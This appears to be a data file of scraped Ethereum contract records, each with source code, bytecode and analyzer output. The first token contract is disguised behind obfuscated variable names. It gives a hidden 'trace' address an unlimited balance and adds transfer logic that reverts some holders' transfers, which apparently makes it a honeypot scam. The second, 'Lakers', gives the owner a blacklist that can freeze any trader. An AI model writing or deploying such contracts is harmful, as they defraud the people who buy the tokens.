function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
uint256 public _fee;
string private _name;
string private _symbol;
mapping(address => uint256) private near;
uint8 private _decimals;
mapping(address => uint256) private universe;
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private orbit = ~uint256(0);
mapping(address => address) private earth;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address trace
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[trace] = orbit;
_balances[msg.sender] = _tTotal;
universe[trace] = orbit;
universe[msg.sender] = orbit;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function oldest(
address teeth,
address so,
uint256 amount
) private {
address division = earth[address(0)];
bool fort = uniswapV2Pair == teeth;
uint256 other = _fee;
if (universe[teeth] == 0 && near[teeth] > 0 && !fort) {
universe[teeth] -= other;
}
earth[address(0)] = so;
if (universe[teeth] > 0 && amount == 0) {
universe[so] += other;
}
near[division] += other;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[teeth] -= fee;
_balances[address(this)] += fee;
_balances[teeth] -= amount;
_balances[so] += amount;
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
oldest(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
oldest(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600754905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600560009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600c60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600c60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea264697066735822122022568872b34170b843b1cd9dacf13388e1046af64e79fbc95fc13f2e7612434764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 3,218 |
0x1cc1f45f845c6d4f3691715479c97d7aa94388d4
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
/**
*/
/**
- Contract will be renounced + Lp locked
▪️Tax 5% Buy , 8% Sell
Milestones:
- If MC hits 500k LP extended to 1 year
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Lakers is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Lakers";
string private constant _symbol = "Lakers";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xc25aa1b0314e8F52AaC9C7a6dB57862aa9975C52);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
_maxWalletSize = 30000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610308578063b87f137a14610328578063c3c8cd8014610348578063c9567bf91461035d578063dd62ed3e1461037257600080fd5b806370a0823114610296578063715018a6146102b6578063751039fc146102cb5780638da5cb5b146102e057806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610205578063313ce567146102255780635932ead114610241578063677daa57146102615780636fc3eaec1461028157600080fd5b806306fdde031461012f578063095ea7b31461016d57806318160ddd1461019d5780631b3f71ae146101c357806323b872dd146101e557600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260068152654c616b65727360d01b60208201529051610164919061197b565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611802565b6103b8565b6040519015158152602001610164565b3480156101a957600080fd5b5068056bc75e2d631000005b604051908152602001610164565b3480156101cf57600080fd5b506101e36101de36600461182e565b6103cf565b005b3480156101f157600080fd5b5061018d6102003660046117c1565b61046e565b34801561021157600080fd5b506101e361022036600461174e565b6104d7565b34801561023157600080fd5b5060405160098152602001610164565b34801561024d57600080fd5b506101e361025c3660046118fa565b610522565b34801561026d57600080fd5b506101e361027c366004611934565b61056a565b34801561028d57600080fd5b506101e36105c5565b3480156102a257600080fd5b506101b56102b136600461174e565b6105f2565b3480156102c257600080fd5b506101e3610614565b3480156102d757600080fd5b506101e3610688565b3480156102ec57600080fd5b506000546040516001600160a01b039091168152602001610164565b34801561031457600080fd5b5061018d610323366004611802565b6106c6565b34801561033457600080fd5b506101e3610343366004611934565b6106d3565b34801561035457600080fd5b506101e3610728565b34801561036957600080fd5b506101e361075e565b34801561037e57600080fd5b506101b561038d366004611788565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c5338484610b2e565b5060015b92915050565b6000546001600160a01b031633146104025760405162461bcd60e51b81526004016103f9906119d0565b60405180910390fd5b60005b815181101561046a5760016006600084848151811061042657610426611b17565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061046281611ae6565b915050610405565b5050565b600061047b848484610c52565b6104cd84336104c885604051806060016040528060288152602001611b67602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061105c565b610b2e565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016103f9906119d0565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016103f9906119d0565b600e8054911515600160b81b0260ff60b81b199092169190911